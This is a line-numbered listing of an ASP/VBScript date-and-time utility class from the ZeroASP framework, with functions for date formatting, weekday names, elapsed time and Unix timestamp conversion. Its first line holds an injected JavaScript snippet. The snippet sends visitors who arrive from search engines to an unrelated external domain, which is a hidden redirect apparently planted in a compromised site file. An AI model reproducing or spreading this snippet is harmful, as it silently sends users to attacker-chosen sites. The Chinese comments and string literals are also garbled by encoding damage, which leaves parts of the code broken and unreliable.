d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Time.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Time.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Time
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Time
016:
ZeroASP_Time = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'日期标准?
020:
Public Function Dates(ByVal TimeStr,ByVal Types)
021:
Dim D_Year,D_Month,D_Day
022:
Dim D_Hour,D_Minute,D_Second
023:
If TimeStr = "" Or IsNull(TimeStr) Then
024:
TimeStr = Now()
025:
End If
026:
If Not (IsDate(TimeStr)) Then
027:
Dates = ""
028:
Exit Function
029:
End If
030:
D_Year = Year(TimeStr)
031:
D_Month = Month(TimeStr)
032:
D_Day = Day(TimeStr)
033:
D_Hour = Hour(TimeStr)
034:
D_Minute = Minute(TimeStr)
035:
D_Second = Second(TimeStr)
036:
If Len(D_Month) < 2 Then D_Month = "0" & D_Month
037:
If Len(D_Day) < 2 Then D_Day = "0" & D_Day
038:
If Len(D_Hour) < 2 Then D_Hour = "0" & D_Hour
039:
If Len(D_Minute) < 2 Then D_Minute = "0" & D_Minute
040:
If Len(D_Second) < 2 Then D_Second = "0" & D_Second
041:
Select Case Types
042:
Case 1 '2000-10-10-23:45:45
043:
Dates = D_Year & "-" & D_Month & "-" & D_Day & "-" & D_Hour & ":" & D_Minute & ":" & D_Second
044:
Case 2 '2000?0?0?3?5?5?
045:
Dates = D_Year & "? & D_Month & "? & D_Day & "? & D_Hour & "? & D_Minute & "? & D_Second & "?
046:
Case 3 '10/10
047:
Dates = D_Month & "/" & D_Day
048:
Case 4 '2000-10-10
049:
Dates = D_Year & "-" & D_Month & "-" & D_Day
050:
Case 5 '2000?0?0?
051:
Dates = D_Year & "? & D_Month & "? & D_Day & "?
052:
Case 6 '20001010102536
053:
Dates = D_Year & D_Month & D_Day & D_Hour & D_Minute & D_Second
054:
Case 7 '2000/10/10
055:
Dates = D_Year & "/" & D_Month & "/" & D_Day
056:
Case 8 '20001010
057:
Dates = D_Year & D_Month & D_Day
058:
Case 9 '200010
059:
Dates = D_Year & D_Month
060:
Case 10 '2000_10_10
061:
Dates = D_Year & "_" & D_Month & "_" & D_Day
062:
Case 11 '2000
063:
Dates = D_Year
064:
Case 12 '1010
065:
Dates = D_Month & D_Day
066:
Case 13 '10?
067:
Dates = D_Day & "?
068:
Case 14 '2000-10-10 23:45:45
069:
Dates = D_Year & "-" & D_Month & "-" & D_Day & " " & D_Hour & ":" & D_Minute & ":" & D_Second
070:
Case 15 '23:45:45
071:
Dates = D_Hour & ":" & D_Minute & ":" & D_Second
072:
Case Else
073:
End Select
074:
Dates = Dates
075:
End Function
076:
077:
'获取本月天数
078:
Public Function TDays(ByVal tDate)
079:
Dim dt1,dt2
080:
tDate = Zasp.Times.Dates(tDate,14)
081:
dt1 = CDate(Year(tDate) & "-" & Month(tDate) & "-1") '得到本月第一?
082:
dt2 = DateAdd("m",1,dt1) '得到下个月第€?
083:
TDays = DateDiff("d",dt1,dt2) '得到两个月的?
084:
End Function
085:
086:
'获取当天星期?
087:
Public Function TWeek(ByVal ThisDay)
088:
If ThisDay <> "" And IsDate(ThisDay) Then
089:
Dim CharWeek
090:
CharWeek = Weekday(ThisDay) 'Weekday函数€周的天数的数?介于 1 ?7 之间
091:
Select Case CharWeek
092:
Case 1 '国际标准时间规定每周第一天为星期?
093:
TWeek = "星期?
094:
Case 2
095:
TWeek = "星期€"
096:
Case 3
097:
TWeek = "星期?
098:
Case 4
099:
TWeek = "星期?
100:
Case 5
101:
TWeek = "星期?
102:
Case 6
103:
TWeek = "星期?
104:
Case 7
105:
TWeek = "星期?
106:
End Select
107:
End If
108:
End Function
109:
110:
'时间过了多久
111:
Public Function TimePass(Byval sTheDate)
112:
' 格式化显示时间为几个?几天?几小时前,几分钟前,或几秒前
113:
Dim iSeconds,iMinutes,iHours,iDays
114:
'sTheDate = CDate(sTheDate)
115:
iSeconds = DateDiff("s",sTheDate,Zasp.Times.Dates(Now(),14)) 'd/h/n/s
116:
iMinutes = Int(iSeconds / 60)
117:
iHours = Int(iSeconds / 3600)
118:
iDays = Int(iSeconds / 86400)
119:
If iDays > 60 Then '大于2个月则显示日?
120:
TimePass = Zasp.Times.Dates(sTheDate,4)
121:
ElseIf iDays > 30 Then
122:
TimePass = "1个月?
123:
ElseIf iDays > 14 Then
124:
TimePass = "2周前"
125:
ElseIf iDays > 7 Then
126:
TimePass = "1周前"
127:
ElseIf iDays > 1 Then
128:
TimePass = iDays & "天前"
129:
ElseIf iHours > 1 Then
130:
TimePass = iHours & "小时?
131:
ElseIf iMinutes > 1 Then
132:
TimePass = iMinutes & "分钟?
133:
ElseIf iSeconds >= 1 Then
134:
TimePass = iSeconds & "秒前"
135:
Else
136:
TimePass = "1秒前"
137:
End If
138:
End Function
139:
140:
'把标准时间转换为UNIX时间?
141:
'参数：strTime:要转换的时间；intTimeZone：该时间对应的时?
142:
'返回值：strTime相对?970??日午?点经过的秒数
143:
'示例：ToUnixTime("2008-5-23 10:51:0", +8)，返回€为1211511060
144:
Public Function ToUnixTime(Byval strTime,Byval intTimeZone)
145:
If IsEmpty(strTime) Or Not IsDate(strTime) Then strTime = Zasp.Times.Dates(Now(),14)
146:
If IsEmpty(intTimeZone) Or Not IsNumeric(intTimeZone) Then intTimeZone = 0
147:
ToUnixTime = DateAdd("h",-intTimeZone,strTime)
148:
ToUnixTime = DateDiff("s","1970-01-01 00:00:00",ToUnixTime)
149:
End Function
150:
151:
'把UNIX时间戳转换为标准时间
152:
'参数：intTime:要转换的UNIX时间戳；intTimeZone：该时间戳对应的时区
153:
'返回值：intTime€代表的标准时?
154:
'示例：FromUnixTime("1211511060", +8)，返回€?008-5-23 10:51:0
155:
Public Function UnixTimeTo(Byval intTime,Byval intTimeZone)
156:
If IsEmpty(intTime) Or Not IsNumeric(intTime) Then
157:
UnixTimeTo = Zasp.Times.Dates(Now(),14)
158:
Exit Function
159:
End If
160:
If IsEmpty(intTime) Or Not IsNumeric(intTimeZone) Then intTimeZone = 0
161:
UnixTimeTo = DateAdd("s",intTime,"1970-01-01 00:00:00")
162:
UnixTimeTo = DateAdd("h",intTimeZone,UnixTimeTo)
163:
End Function
164:
165:
'当前时间标准化，带毫秒显?
166:
Public Function ZNow()
167:
Dim NowDate,NowTime,D_Time,D_Hour,D_Minute,D_Second,D_Millisecond
168:
NowDate = Zasp.Times.Dates(Now(),4) '2016-07-03
169:
NowTime = Timer() 'Timer 函数可返回午?12 时（12:00 AM）以后已经过去的秒数?
170:
D_Time = Split(NowTime,".")(0) '获取秒数
171:
D_Hour = Int(D_Time / 3600) '获取小时
172:
If Len(D_Hour) < 2 Then D_Hour = "0" & D_Hour
173:
D_Minute = Int((D_Time Mod 3600) / 60) '获取分钟
174:
If Len(D_Minute) < 2 Then D_Minute = "0" & D_Minute
175:
D_Second = (D_Time Mod 3600) Mod 60 '获取?
176:
If Len(D_Second) < 2 Then D_Second = "0" & D_Second
177:
D_Millisecond = Split(NowTime,".")(1) '获取毫秒
178:
If Len(D_Millisecond) < 1 Then
179:
D_Millisecond = "000" '相同长度
180:
ElseIf Len(D_Millisecond) = 1 Then
181:
D_Millisecond = D_Millisecond & "00" '相同长度
182:
ElseIf Len(D_Millisecond) = 2 Then
183:
D_Millisecond = D_Millisecond & "0" '相同长度
184:
ElseIf Len(D_Millisecond) = 3 Then
185:
D_Millisecond = D_Millisecond '相同长度
186:
ElseIf Len(D_Millisecond) > 3 Then
187:
D_Millisecond = Left(D_Millisecond,3) '相同长度
188:
End If
189:
ZNow = NowDate & " " & D_Hour & ":" & D_Minute & ":" & D_Second & "." & D_Millisecond
190:
End Function
191:
192:
End Class
193:
%
>
194:
195: